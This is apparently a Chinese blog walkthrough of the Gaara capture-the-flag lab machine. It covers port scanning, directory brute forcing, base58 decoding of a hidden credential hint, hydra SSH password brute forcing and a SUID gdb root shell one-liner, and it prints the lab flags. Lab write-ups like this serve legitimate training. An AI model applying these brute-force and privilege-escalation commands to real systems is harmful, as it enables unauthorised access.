OSCP系列靶场-Esay-Gaara保姆级

2023-09-21 08:38:42

OSCP系列靶场-Esay-Gaara

总结

getwebshell → 通过大字典爆破得到端点 → 利用工具对比得到加密信息 → 寻求百度帮助确认加密方式 → 解密得到用户名 → ssh爆破密码登录

提 权 思 路 → suid-gdb提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.194

  • 启动靶机
    获取目标机器IP → 192.168.227.142

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.227.142

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


通过两次收集到的端口:→22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.227.142

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e:a3:6f:64:03:33:1e:76:f8:e4:98:fe:be:e9:8e:58 (RSA)
|   256 6c:0e:b5:00:e7:42:44:48:65:ef:fe:d7:7c:e6:64:d5 (ECDSA)
|_  256 b7:51:f2:f9:85:57:66:a8:65:54:2e:05:f9:40:d2:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Gaara
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.18 (87%), Linux 4.15 - 5.8 (87%), Linux 5.0 - 5.4 (87%), Linux 2.6.32 (87%), Linux 2.6.32 or 3.10 (87%), Linux 2.6.39 (87%), Linux 3.10 - 3.12 (87%), Linux 3.4 (87%), Linux 3.7 (87%), Linux 4.4 (87%)

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian

# 进入msf
msfconsole
# 搜索对应脚本
msf6 → searchsploit openssh 7.9p1

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

ssh root @ 192.168.227.142 -v
# 如果显示publickey、password就是支持密钥以及密码登录

22-SSH弱口令爆破(待定)

尝试root账户的密码爆破,利用工具hydra,线程-t为6

hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.227.142 ssh -s 22

静静爆破,等待结果

22-SSH手动登录尝试(无)

尝试root账户的密码爆破发现报错之后进行手动尝试

ssh root<span>@192.168.227.142</span> -p 22
# 密码尝试
password → root

80-HTTP端口的信息收集

访问 http://192.168.227.142:80 是一张我爱罗的图片,应该是一个个人站点,从源码查看开始

信息收集-源码查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.227.142:80

    Gaara
        <img src="gaara.jpg" alt="wallpaper" width="100%" height="100%">
       

没什么利用信息

信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.227.142:80 -x 302,403

200 -  137B  - /index.html


发现没有扫描出内容,决定换一个扫描工具上大字典,不清楚脚本语言,先不加

信息收集-目录扫描(深度/大字典)
gobuster dir -u http://192.168.227.142:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000 -k

通过大字典扫描出了一个端点/Cryoserver

信息收集-目录访问

/Cryoserver端点访问
访问 http://192.168.227.142:80/Cryoserver 发现是空白,进行信息收集尝试,若无思路可能要爆破后缀的字典

信息收集-源码查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.227.142:80/Cryoserver

通过查看源码,发现了好像有3个额外的端点


尝试进行访问,发现是3篇文章,看上去差不多
/Temari


/Kazekage


/iamGaara

端点分析

利用wget下载之后发现还是存在一定的区别的


通过chatgpt的回答下载了文本对比工具meld准备对三个文件进行比较


发现文本中存在奇怪的换行以及多了的字符串f1MgN9mTf9SNbzRygcU

解密尝试

f1MgN9mTf9SNbzRygcU是什么类型的加密呢??
试了半天解不出来,百度一搜,emmmmm base58


百度了一个解密工具进行解密 https://tools.qsnctf.com/tools/Tools/Base58/index.php


得到了gaara:ismyname 推测是ssh登录的关键

漏洞利用-getwebshell

SSH登录尝试(失败)

获取账号密码之后利用SSH进行登录

ssh gaara @192.168.227.142 -p22
password → ismyname

发现利用这个方式登录失败,研究ismyname的英文确定gaara是名字

暴力破解-SSH密码爆破hydra

这时候会想生成一个密码字典跑,但是这个网站给的信息太少了,生成cewl没用,尝试用hydra爆破

# -P指定密码字典
hydra -l gaara -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.227.142 ssh -s 22

[DATA] attacking ssh://192.168.227.142:22/
[STATUS] 147.00 tries/min, 147 tries in 00:01h, 865 to do in 00:06h, 16 active
[22][ssh] host: 192.168.227.142   login: gaara   password: iloveyou2
1 of 1 target successfully completed, 1 valid password found

[DATA] attacking ssh://192.168.227.142:22/
[STATUS] 147.00 tries/min, 147 tries in 00:01h, 865 to do in 00:06h, 16 active
[22][ssh] host: 192.168.227.142   login: gaara   password: iloveyou2
1 of 1 target successfully completed, 1 valid password found

得到了gaara的密码iloveyou2进行ssh登录

ssh gaara @192.168.227.142  -p22
password → iloveyou2

内网遨游-getshell

FLAG1获取

gaara @Gaara :~$ find / -name local.txt 2→/dev/null
/home/gaara/local.txt
gaara @Gaara :~$ cat /home/gaara/local.txt
c7dde1de7308136cdf71fd56da509c56

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
lsb_release -a

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

uname -a

内核版本为4.19

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
sudo -l

发现需要密码,使用gaara的密码失败

列举出所有suid文件

如果发现sudo -l有东西的话

# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

访问 https://gtfobins.github.io 寻找


发现存在gdb

权限提升

suid-gdb提权
sudo install -m =xs $(which gdb) .
./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit


使用搜集到的提权命令进行提权

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

提权成功

FLAG2获取

# cat /root/proof.txt
ec1e6ac3f00776edb8fac5807c14548b

完结撒花~

反思

从最开始访问80就在提示用户是gaara


再到后面发现的目录文件名iamgaara也在提示

更多推荐

VL 模型 Open-Set Domain Adaptation with Visual-Language Foundation Models 论文阅读笔记

Open-SetDomainAdaptationwithVisual-LanguageFoundationModels论文阅读笔记一、Abstract二、引言三、相关工作3.1开放域适应3.2源域无关的开放域适应3.3视觉-语言基础模型VLFM四、方法4.1问题陈述4.2采用CLIP的Zero-shot预测4.3ODA

【CVPR2021】MVDNet论文阅读分析与总结

Challenge:现有的目标检测器主要融合激光雷达和相机,通常提供丰富和冗余的视觉信息利用最先进的成像雷达,其分辨率比RadarNet和LiRaNet中使用的分辨率要细得多,提出了一种有效的深度后期融合方法来结合雷达和激光雷达信号。MVDNet本质是将雷达强度图与激光雷达点云深度融合,以利用它们的互补能力。Contr

Socks5代理与网络安全:保护您的隐私与数据

在今天数字化的世界中,隐私和网络安全已经成为至关重要的话题。Socks5代理作为一种强大的工具,不仅为用户提供了隐私保护,还在网络安全和爬虫领域发挥着关键作用。本文将深入探讨Socks5代理的工作原理、其在网络安全中的应用,以及如何在爬虫开发中充分利用它。1.Socks5代理简介Socks5代理是一种网络协议,允许数据

代理IP和Socks5代理在跨界电商中的关键作用

随着跨界电商的兴起,代理IP和Socks5代理成为了技术领域的关键工具。本文将深入探讨它们在跨界电商、爬虫技术和出海战略中的关键作用,以及如何最大程度地利用它们来支持企业的全球扩张。引言简要介绍跨界电商的崛起和全球化趋势。提出代理IP和Socks5代理在这一背景下的重要性。代理IP:跨界电商的智能数据引擎多地区数据采集

Automation Anywhere推出新的生成式AI自动化平台,加速提高企业生产力

在9月19日的Imagine2023大会上,智能自动化领域的领导者AutomationAnywhere宣布对其自动化平台进行扩展。推出了新的ResponsibleAILayer,并宣布了四项关键产品更新,包括全新的Autopilot,它可以利用生成式AI,从流程发现快速开发端到端自动化。此外还宣布了针对商业用户的Aut

9.20广读论文 核心思路笔记

LearnWhatNOTtoLearn:TowardsGenerativeSafetyinChatbots摘要:会话模型中,生成型和开放领域的模型尤其容易产生不安全内容,因为它们是在基于网络的社交数据上进行训练的。以前缓解这个问题的方法有缺点,比如打断对话的流畅性,对未见过的有毒输入上下文的泛化有限,以及为了安全而牺牲

Oracle常见的等待事件

Oracle常见的等待事件等待事件分类常见等待事件buffer等待事件gc等待事件librarycache等待事件cursor等待事件directpath等待事件controlfile等待事件dbfile等待事件logfile等待事件SQL*Net等待事件enq:TX等待事件等待事件分类等待事件有如下分类:admini

折线图geom_line()参数选项

往期折线图教程图形复现|使用R语言绘制折线图折线图指定位置标记折线图形状更改|绘制动态折线图跟着NC学作图|使用python绘制折线图前言我们折线的专栏推出一段时间,但是由于个人的原因,一直未进行更新。那么今天,我们也参考《R语言实战》中折线图部分的讲解,分享给大家。在此书中,关于折线图的绘制教程相对讲解较少,我们要很

BI系统上的报表怎么导出来?附方法步骤

在BI系统上做好的数据可视化分析报表,怎么导出来给别人看?方法有二,分别是1使用报表分享功能,2使用报表导出功能。下面就以奥威BI系统为例,简明扼要地介绍这两个功能。1、报表分享功能作用:让其他同事灵活地在任意时间、终端上打开报表,获取数据分析信息,辅助数据分析决策。做法:返回首页,点击报表右上角【…】,点击【分享】。

浅谈Vue3——父子组件传值

引言Vue.js是一款流行的JavaScript框架,用于构建用户界面。它提供了一种简洁、灵活的方式来管理和渲染数据。在Vue3中,父子组件之间的数据传递是一个常见的需求。本文将介绍如何在Vue3中传递对象,并且在子组件中访问和修改父组件对象中的属性值。传递对象到子组件在Vue3中,可以通过props属性将数据从父组件

Dubbo 3.x源码(11)—Dubbo服务的发布与引用的入口

基于Dubbo3.1,详细介绍了Dubbo服务的发布与引用的入口的源码。此前我们学习了Dubbo配置的加载与覆盖的一系列源码:Dubbo3.x源码(7)—Dubbo配置的加载入口源码Dubbo3.x源码(8)—Dubbo配置中心的加载与优先级源码Dubbo3.x源码(9)—Dubbo启动元数据中心源码Dubbo3.x源

热文推荐